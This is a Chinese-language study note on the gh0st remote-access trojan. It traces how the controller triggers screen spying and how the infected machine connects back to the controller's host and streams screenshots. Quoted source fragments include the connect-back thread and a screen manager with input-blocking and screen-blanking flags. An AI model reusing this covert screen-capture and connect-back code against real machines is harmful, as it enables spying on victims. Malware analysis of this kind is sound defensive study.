這兩天一直看gh0st源碼,看得也是一頭霧水,下面就分析一下屏幕監控的通信過程,對屏幕掃描算法以及繪圖方面就不分析了,因為我也不懂。寫的有點亂,就當作個筆記了。
首先從控制端按下屏幕監控選項開始,這時控制端就會調用OnScreenspy()函數。這個函數很簡單,向被控端發送COMMAND_SCREEN_SPY指令,告訴被控端我要監控你的屏幕了。此時被控端還在等待控制端的命令(ClientSocket.cpp中的Connect函數中新建的線程WorkThread一直等待執行命令),WorkThread線程等到了執行命令,調用OnRead函數對命令解密,接下來調用了CKernelManager::OnReceive函數,OnReceive看到命令是COMMAND_SCREEN_SPY,就創建了Loop_ScreenManager線程:
DWORD WINAPI Loop_ScreenManager(CClientSocket* sRemote) { CClientSocket socketClient; if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort)) return -1; CScreenManager manager(&socketClient); socketClient.run_event_loop(); return 0; }
這個線程又調用CClientSocket的Connect連接控制端,並聲明了個CScreenManager類,並將socketClient與CScreenManager相關聯(參見CManager類的構造函數:m_pClient->setManagerCallBack(this);),這樣socketClient的WorkThread線程收到的數據就可以傳送到了CScreenManager::OnReceive函數中,而不是CKernelManager::OnReceive函數了。
看下CScreenManager 構造函數:
CScreenManager::CScreenManager(CClientSocket *pClient):CManager(pClient) { m_bAlgorithm = ALGORITHM_SCAN; m_biBitCount = 8; m_pScreenSpy = new CScreenSpy(8); m_bIsWorking = true; m_bIsBlankScreen = false; m_bIsBlockInput = false; m_bIsCaptureLayer = false; m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL, true); m_hBlankThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ControlThread, this, 0, NULL, true); }
構造函數中又創建了兩個線程:WorkThread和ControlThread。WorkThread主要負責發送屏幕頁面,ControlThread沒看,暫時不知道干啥。看下WorkThread線程:
DWORD WINAPI CScreenManager::WorkThread(LPVOID lparam) { CScreenManager *pThis = (CScreenManager *)lparam; pThis->sendBITMAPINFO(); // 等控制端對話框打開 pThis->WaitForDialogOpen(); pThis->sendFirstScreen(); try // 控制端強制關閉時會出錯 { while (pThis->m_bIsWorking) pThis->sendNextScreen(); }catch(...){}; return 0; }
首先調用sendBITMAPINFO(),發送調色板信息(用TOKEN_BITMAPINFO指令標識)。發送后就等待控制端屏幕監控窗口打開(等待m_hEventDlgOpen事件,當控制端屏幕監控窗口打開時會發送COMMAND_NEXT指令,收到此指令后被控端會調用NotifyDialogIsOpen()函數來設置hEventDlgOpen)。先讓被控端在這兒等着吧,接下來我們再回到控制端。
控制端發送完COMMAND_SCREEN_SPY指令后,就繼續等待連接(ListenThreadProc線程)和等待接收數據(OnClientReading函數中接收完數據就會調用PostRecv投遞了IORead請求)。這時有了新連接(上面Loop_ScreenManager中的連接),於是調用OnAccept函數,並為這個新的連接分配了ClientContext,並建立完成端口,然后在新的完成端口上投遞IORead請求,等待接收數據。很快數據來了(調色板信息),OnClientReading函數對數據解密,然后把數據給了NotifyProc函數,NotifyProc函數又調用了ProccessReceiveComplete函數,此時還沒有建立屏幕監控窗口,因此pContext->m_Dialog[0] = 0。ProccessReceiveComplete根據TOKEN_BITMAPINFO指令,向主窗口發送了個WM_OPENSCREENSPYDIALOG消息,告訴主窗口建立個屏幕監控的窗口,於是控制端調用OnOpenScreenSpyDialog函數:
LRESULT CkongDlg::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam) { ClientContext *pContext = (ClientContext *)lParam; CScreenSpyDlg *dlg = new CScreenSpyDlg(this, m_iocpServer, pContext); // 設置父窗口為卓面 dlg->Create(IDD_SCREENSPY, GetDesktopWindow()); dlg->ShowWindow(SW_SHOW); pContext->m_Dialog[0] = SCREENSPY_DLG; pContext->m_Dialog[1] = (int)dlg; return 0; }
創建了屏幕監控窗口,並對pContext->m_Dialog賦值。m_Dialog[0]標識是屏幕監控窗口,m_Dialog[1]指向此窗口。這樣ProccessReceiveComplete函數就可以根據pContext->m_Dialog直接將數據傳給CScreenSpyDlg了。建立了CScreenSpyDlg窗口,就要調用OnInitDialog函數,在CScreenSpyDlg的OnInitDialog函數中,有調用了SendNext()函數:
void CScreenSpyDlg::SendNext() { BYTE bBuff = COMMAND_NEXT; m_iocpServer->Send(m_pContext, &bBuff, 1); }
發送COMMAND_NEXT指令給被控端。前面說了,被控端在發送調色板信息后就等待COMMAND_NEXT指令。
回到被控端,收到了數據,數據解密后傳到了CScreenManager::OnReceive函數中,根據COMMAND_NEXT指令調用了NotifyDialogIsOpen()函數,NotifyDialogIsOpen函數設置了m_hEventDlgOpen事件, CScreenManager的WorkThread線程中WaitForDialogOpen()返回,於是執行pThis->sendFirstScreen(),發送第一個屏幕畫面,用TOKEN_FIRSTSCREEN來標識。
控制端收到數據后到了ProccessReceiveComplete函數,根據m_Dialog將數據傳給了CScreenSpyDlg中的OnReceiveComplete()函數,根據相關指令來重繪屏幕監控窗口。接下來被控端不停的發,控制端就不停的重繪.........
還沒分析完,還有發送控制命令那一塊沒看,有時間再寫。